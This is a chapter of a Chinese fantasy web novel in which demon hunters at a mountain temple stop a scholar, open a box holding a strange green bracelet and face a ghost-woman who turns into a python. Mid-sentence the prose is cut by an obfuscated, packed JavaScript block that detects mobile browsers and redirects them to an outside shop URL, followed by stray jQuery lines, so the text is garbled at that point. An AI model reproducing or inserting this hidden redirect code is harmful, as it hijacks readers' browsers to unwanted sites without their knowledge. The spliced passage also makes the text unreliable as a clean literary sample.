许雁归一行人抵达鹤陵山时,日头已然西沉,夜色自四面浸来,树影婆娑,溪流缓缓。
指秽盘的指针略略偏移,正是一条上山的道路。
江见月足下发力,轻跃上枝头,在树冠间辗转腾挪,向山腰而去,半晌,复又返回,道:“山上有一座寺庙,大概就是那儿了。”
许雁归偏头去看青葙,他正凝眸看路,肌肤被暮色一托,冷玉般莹莹,觉察她视线,也侧过头来,眉略略一弯,几不可察的笑意。
许雁归的笑容则更大,她点一点头,将刀横挎腰间,昂首挺胸:“走,挣钱。”
青葙紧随其后。
江见月闲庭信步,心道,这两人可不像兄妹,不过许雁归这个便宜兄长,看着却像绣花枕头,只奇那翠色双眸,难怪要用白纱遮眼。
到了寺庙,许雁归抬头看去,枝桠掩映间,依稀可辨得法因寺三字,只是不知匾额为何横生两道裂痕,经年累月,竟也探出嫩芽两枝。
山中寂静。
少女上前叩门,一次未应,便稳稳再叩,须臾,门开了,走出一名僧人,双手合十道:“施主,可有何事?”
许雁归看他面似活人,与这萧索的寺院却不和,拿不定主意,回头看向江见月,见她摇头,方道:“我们路过此处,见天色已黑,才到寺里借宿,也不知方丈允不允?”
僧人看了眼前三人,眉眼始终低垂,佛唱一句,道:“施主请进。”
进了寺院,入眼是一面照壁,转过则是一尊四足香鼎,许雁归见它纹样有趣,多瞧了两眼,才看见四足底下铸的是力士像,正奋力托起香鼎。
大殿门已闭,僧人将她们往后引去,正是厢房所在,只有两间房点着灯,一株树下还栓着匹老马,嘴巴一错,青嫩的草就下了肚。
见有人来,老马还灵性地抬起眼,朝几人吔来,随后又埋下头不管。
僧人推开东厢房门,里头用具俱全,收拾得干净整洁,正中一张圆桌,两侧用帘子隔开两处房间,各有一张通铺,正适得三人住。
“三位施主今晚便在此,夜间莫要随意游走喧哗即可。”僧人微微躬身,说罢便走了。
关上门,江见月鼻尖轻皱,道:“好重的妖气。”
许雁归问:“僧人,还是那匹马?”
“都不是。”黄衫少女坐下来,挑了挑灯芯,火光跳动,映出指秽盘,指针旋转不定,已定不出方向。
只能证明,妖邪在这寺中。
许雁归同青葙坐下,想起方才看见有两间房点着灯,一间是僧人所住,而另一间,却不知何人。她提议等夜深,再去刺探。
“这么麻烦干甚,不如现在就杀到那房中,看看是人是妖。”江见月起身道,她是个性子直的,对付妖邪也从来没什么高深的招数,遇见便打。
正说着,忽听得房门打开合起的声音,一道人影往寺后而去,许雁归透过窗看,月光下那人着宽袖长袍的海青,正是先前引她们进来的僧人。
他步履不急不缓,穿过一道门洞,消失在三人视线中,不知所为何事。
许雁归当机立断,朝江见月道:“你修为高,可以跟着他,如果遇见什么,不要冲动,切忌单打独斗,我和青葙去试探对面屋子,要没事就去找你。”
“好。”江见月一笑,扭过头,轻轻踢开了窗,一跃而出,鹅黄罗裙翩翩,花朵一般,转瞬,便也不见了身影。
这边许雁归抬手按着刀,也欲同青葙出门,却见满院敞亮的月光下,又有一人悄默声开了房门,踮着脚溜进了僧人的房。
正是那马姓书生。
他脸红心跳,又满眼凛然,决心要做这么一件正义之事,他小心进了屋,里面燃着一盏油灯,四面冷清,只有一柜经书,一张床榻,一张小几。
马廉回忆女子的话,在书柜里摸上摸下,还真叫他寻到了机关,手心在那凸起处重力一摁,暗格便弹开,露出两寸长宽的空间,他伸手一掏,就取出一件檀木小盒。
书生也不敢细看,揣在怀中,匆匆便要转身离去,眼角却瞥见冷光闪闪,一把长刀架上了他的脖颈。
马廉悚然,背上汗毛一根根倒立,他僵硬转过头,见一少女握刀,似笑非笑地看他,明明是个年纪极轻的姑娘,瞧不出杀意,书生却是莫名汗如雨下,两腿哆哆。
门口人影闪动,见又有人进屋,马廉下意识想求救,但见一名霜雪似的青年走进,长睫下眸若春色,唇色淡而浅,他走两步,安静立在了少女身后,一点眼神也不曾分给书生。
马廉心如死灰,从打颤的牙缝里挤出几字:“姑娘,当心这刀,我来这是受人之托,可否听我两句。”
“好,那你可得细细道来。”许雁归弯唇,露出一颗小虎牙,腕上用劲,压了压刀,书生便抖了两抖。
马廉哭丧着声:“我是要去大都赶考的书生,今日路过山脚,遇见一名女子,奔入这山林,我担忧其安危,于是也跟上山,进了这庙。”
书生所道,他在庙中听得女子哭声,遂找了借口入庙,想搜寻一番,不想,女子却主动现身,引他到寺院后的古井,哭啼一阵,道出了身世。
说她本是三十里外韩岭镇里赵家的女儿,唤檀娘,十七这年染了时疫,不治而死,原本要入了轮回,投胎转世。
父母有心,请了僧人来超度,便是法因寺里这位,却不想,此乃妖僧一名,说为超度,实为拘魂,将她生生困在这山中,假以时日,她便只能被其生生炼化,魂飞魄散。
唯有一物,可救得她,在那僧人房中密格里,苦于她乃阴魂,接近不得,书生是活人,自可以轻松而取,她则去引开僧人,只等书生取得那物,与她在古井相见,她便能脱离苦海。
书生见她言辞恳切,泪如雨下,也顾不得害怕眼前妙龄佳人乃鬼魂的事实,忙忙应下了此事,还将帕子归还于她。
女子又羞又怯,又说出甚么轮回再去寻他报恩的话,书生立即想入非非,心下大振,连回到屋中也不住地想,见僧人离去,自然马不停蹄赶来了。
许雁归听完这番话,长眉轻蹙,一时之间倒也不好判断。
若女鬼所言属实,那书生干的自然是好事。
可若女鬼实为蒙骗,目的是为了僧人房中之物,那后果便不知如何了。
只是,若僧人是好,鬼怪是怎么进得这宝光堂堂的寺庙。
许雁归看向青葙,他神情微微困惑,想来消化不下书生那一大篇话。
“你们莫要拦着我救檀娘,我看你们眉间正气,不是与那妖僧一伙,快快放我离去,你们要跟来都行。”书生急道,刚刚一番描述,他又想起女鬼楚楚的面容,心里火烧似的,这下是刀也不怕,剑也不惧了,梗着脖子就要走。
闷的一声响。
青葙面无表情抬手在他后脖子一劈,书生软软卧倒,怀中檀木小盒也跌了出来,青葙又把它捡起来,捧到了许雁归面前。
一切发生只在电光火石之间。
许雁归一怔,收起刀,默默朝青葙竖了个大拇指,随后接过小盒。
就是一个极素净普通的木盒,没有花纹,也没上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202496|197253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
锁,轻轻一扣就能打开。
许雁归做足了准备,料想里面可能是什么血腥之物,一截断指,眼球,或者一团秽气。
可打开来,却不是这些,只见其中放着一只翠色镯子,用布料小心托着,以免受木盒晃荡磕碰。
许雁归没拿出它,只在灯下看,却不知那镯子是何材质,非玉非石,泛着微微的光,隐隐间还能看出些小小凸起。
像是…兽皮。
这边她正想着,院中一声少女的轻喝忽的炸开,是江见月的声音。
“你这妖怪,想做什么?”
许雁归匆忙合上木盒,拔刀抢出门去看,院中立着两道人影,一个是江见月,软鞭缠在腰间,勾勒出少女瘦削的身形,她一手摸着鞭柄,不悦盯着眼前之妖,似乎下一秒就要攻去。
与她对峙的,同样是一名身姿瘦弱的少女,着青裙,眉眼昳丽,此时却如蒙了一层冰雪一般,甚至于流露出两分恨恨的神色。
“你为甚么要帮那秃驴?”那少女叫道,“我只想要回我的东西。”
说罢,扭头看向许雁归与青葙,目光落在木盒上,竟生出满满的怀念爱怜之情。
江见月道:“什么你的他的,说清楚了,否则我一定不叫你得逞。”
“你是檀娘?”许雁归走出两步,视线始终紧盯在她身上。
“不错。”那少女道。
“你是妖是鬼,书生嘴里的你可是阴魂一只。”许雁归又问。
“必定是妖啊,鬼可没这么活泼。”江见月笑道。
少女脸色变了又变,最后化作一股决绝,咬牙道:“我是鬼是妖,此物都是我的。”
“你说了不算。”江见月哼哼道。
许雁归捧着木盒,道:“既然是你的,那何必编故事诓骗他人,可见,你的动机不纯。”
檀娘不再费口舌,身形鬼魅一般,就要上来夺了此物。
许雁归将盒子交于青葙,横刀去挡,江见月长鞭带出,风声呼呼。
檀娘躲避不及,后背吃了一鞭,颤了颤,身形却一点不移,还是冲着木盒而来。
许雁归本想一刀劈去,见她神色苦楚,眼里燃着火似的,可说是万分执着,手中刀便调转了方向,只用刀背将其撞开。
檀娘摔在阶下,呕出一大口鲜血,她却不理,抬起头来,恨声道:“为什么,为什么那个秃驴拦我,你们也来?我只是想去寻他,为什么不让?”
“你要找谁,为什么找他?”许雁归问。
檀娘不言语,身形蓦地胀大,眨眼间,竟化作了一只青色巨蟒,比起那厢房也小不了多少,若此时将三人吞入腹中,估摸还能在她肚中支桌打牌。
青蟒留下两行血泪,兀自在院中翻滚,江见月眼快脚快,一下跃到屋顶,还顺手将那只老马解脱了出来,它蜷缩在角落,瑟瑟发抖。
许雁归和青葙则是退回屋中,也奇怪,巨蟒如何翻滚,厢房皆是巍然不动,竟没叫巨蟒打成废墟。
混乱之中,独自躺在地面的书生呻吟一声,爬起身来,从门中窥见檀娘真身,灯笼一般大的眼,一身蛇鳞青光流转,他何曾见过这场面,大叫一声,又晕了过去。
江见月摸着乾坤袋,思索要不要给她来枚燕钉。
许雁归则是见巨蟒鳞片,觉得眼熟,看向了青葙手中的木盒。
“唉”一声幽幽叹息。
姗姗来迟的僧人立在巨蟒前,也不惧她庞大的身躯,一掌竖立胸前,朝几人躬身道,“施主,可否放过檀娘,背后故事我自会如实讲清。”